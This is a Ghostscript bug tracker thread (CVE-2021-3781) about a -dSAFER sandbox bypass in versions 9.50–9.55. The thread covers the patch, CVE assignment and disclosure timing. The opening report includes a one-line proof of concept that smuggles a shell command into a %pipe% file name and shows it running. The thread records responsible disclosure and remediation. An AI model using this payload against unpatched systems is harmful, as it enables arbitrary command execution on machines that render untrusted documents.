Bug 704342 - Trivial -dSAFER bypass in 9.55
Summary: Trivial -dSAFER bypass in 9.55
Status: RESOLVED FIXED
Alias: None
Product: Ghostscript
Classification: Unclassified
Component: Security (public) (show other bugs)
Version: 9.54.0
Hardware: PC Linux
: P1 blocker
Assignee: Chris Liddell (chrisl)
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2021-09-08 01:28 UTC by jens.a.mueller
Modified: 2021-09-13 09:10 UTC (History)
10 users (show)

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Description jens.a.mueller 2021-09-08 01:28:24 UTC
Hi,

Here's a trivial -dSAFER bypass that allows to execute arbitrary shell commands in the 9.55 Git version:

# bin/gs -dSAFER
GPL Ghostscript GIT PRERELEASE 9.55.0 (2021-03-30) [...]
GS>(%pipe%/tmp/&id)(w)file
GS<1>sh: 1: /tmp/: Permission denied
uid=0(root) gid=0(root) groups=0(root)

Greetings
Jens
Comment 1 Chris Liddell (chrisl) 2021-09-08 10:41:21 UTC
We have a fix in testing at the moment.

Since this exploit has apparently been doing the rounds since March and fully public since at least Aug 25th (so much for responsible disclosure!!), I'm inclined to release the fix publicly as soon we've completed testing and review.

Any objections or counterarguments from interested parties?
Comment 2 jens.a.mueller 2021-09-08 10:55:28 UTC
Hi Chris,

No objections. A fix should be released asap, imho. Please provide the commit, allowing source code fixes to be applied. Note: It looks like this issue was found in parallel by multiple researchers (easy find).

Greetings
Jens
Comment 3 Chris Liddell (chrisl) 2021-09-08 11:26:45 UTC
(In reply to jens.a.mueller from comment #2)
> Hi Chris,
> 
> No objections. A fix should be released asap, imho. Please provide the
> commit, allowing source code fixes to be applied. Note: It looks like this
> issue was found in parallel by multiple researchers (easy find).
> 
> Greetings
> Jens

Hi Jens,

You at least had the courtesy to report it to us, which I greatly appreciate.

And thanks for the feedback, too. Unless anyone else raises a convincing objection or there are any internal review issues, we'll hopefully publish the fix within a day or so.
Comment 4 Cedric 2021-09-08 11:34:27 UTC
Who will assign a CVE ?

After a quick check it does not affect older ghostscript versions (I couldn't reproduce it on 9.27, but it's reproducible on 9.53)
Comment 5 jens.a.mueller 2021-09-08 15:15:14 UTC
9.50 to 9.54 (official releases) and 9.55 (from Git) are affected. The older 9.xx versions are not.

@Cedric: I think it would be easiest if Red Hat requested a CVE ID (you're still with them, aren't you? :)). Probably much faster than if independent researchers try their luck with Mitre's CVE request form.
Comment 6 Chris Liddell (chrisl) 2021-09-08 15:17:53 UTC
I already have a CVE request in with Mitre. Waiting on the assignment now.
Comment 7 Chris Liddell (chrisl) 2021-09-08 15:22:14 UTC
(In reply to Chris Liddell (chrisl) from comment #6)
> I already have a CVE request in with Mitre. Waiting on the assignment now.

I guess I could cancel, if the general consensus points that way.
Comment 8 jens.a.mueller 2021-09-08 15:24:01 UTC
Even better. (Sorry, I did not know Artifex does request CVE IDs nowadays; Last I check in 2018, it was D.I.Y. ;))
Comment 9 Cedric 2021-09-08 15:26:36 UTC
(In reply to Chris Liddell (chrisl) from comment #7)
> (In reply to Chris Liddell (chrisl) from comment #6)
> > I already have a CVE request in with Mitre. Waiting on the assignment now.
> 
> I guess I could cancel, if the general consensus points that way.
ack, I am requesting a CVE then.
It should be fairly quick
Comment 10 Chris Liddell (chrisl) 2021-09-08 15:31:41 UTC
(In reply to Cedric from comment #9)
> (In reply to Chris Liddell (chrisl) from comment #7)
> > (In reply to Chris Liddell (chrisl) from comment #6)
> > > I already have a CVE request in with Mitre. Waiting on the assignment now.
> > 
> > I guess I could cancel, if the general consensus points that way.
> ack, I am requesting a CVE then.
> It should be fairly quick

Okay, thanks Cedric. I've asked them to cancel my request.
Comment 11 Chris Liddell (chrisl) 2021-09-08 16:53:35 UTC
FWIW, here is the patch we are testing/reviewing:

https://git.ghostscript.com/?p=user/chrisl/ghostpdl.git;a=commitdiff;h=f424c74d1b98
Comment 12 Cedric 2021-09-09 10:47:29 UTC
CVE-2021-3781 has been assigned to this flaw
Comment 13 Chris Liddell (chrisl) 2021-09-09 10:49:01 UTC
(In reply to Cedric from comment #12)
> CVE-2021-3781 has been assigned to this flaw

Thanks Cedric, very much appreciated!
Comment 14 Chris Liddell (chrisl) 2021-09-09 12:05:15 UTC
I have pushed the above referenced fix:

https://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a9bd3dec9fde


Tomorrow (UK) morning, I will begin the process of prepping and testing a Ghostscript/GhostPDL release, with that commit included. We're aiming to have that release ready before the end of the month.
Comment 15 marc.deslauriers 2021-09-09 12:56:28 UTC
Is there an ETA on when we can make updates with this patch and the CVE number public? While there appears to be discussion in this bug of fixing it publicly, the bug isn't actually public...
Comment 16 Chris Liddell (chrisl) 2021-09-09 13:33:49 UTC
(In reply to marc.deslauriers from comment #15)
> Is there an ETA on when we can make updates with this patch and the CVE
> number public? While there appears to be discussion in this bug of fixing it
> publicly, the bug isn't actually public...

As I outlined above, since the exploit has been "in wild" for at least 6 months, I pushed the patch to our public repo already - keeping the patch secret in this circumstance seemed pointless.

I'll make this bug public before close of business (UK) on Friday - again, unless there are strong, convincing arguments not to (you can still link to it, making it public won't change the URL).

In this specific case, I recommend rolling out the patch as soon as your respective procedures allow.
Comment 17 Salvatore Bonaccorso 2021-09-09 17:26:29 UTC
Chris, thanks for confirming.
Comment 18 Chris Liddell (chrisl) 2021-09-13 09:10:55 UTC
(In reply to Salvatore Bonaccorso from comment #17)
> Chris, thanks for confirming.

Just to be clear (and this does not refer to or reflect on Jens, the OP):

This was only because of the manner that this bug became public, and for security issues that are responsibility disclosed to us before being made public, we will establish a timetable (usually of a few days) for public disclosure of both the fix and the bug, in the bugzilla bug allowing any of the CC'ed parties to object or discuss it. That is our "normal" procedure.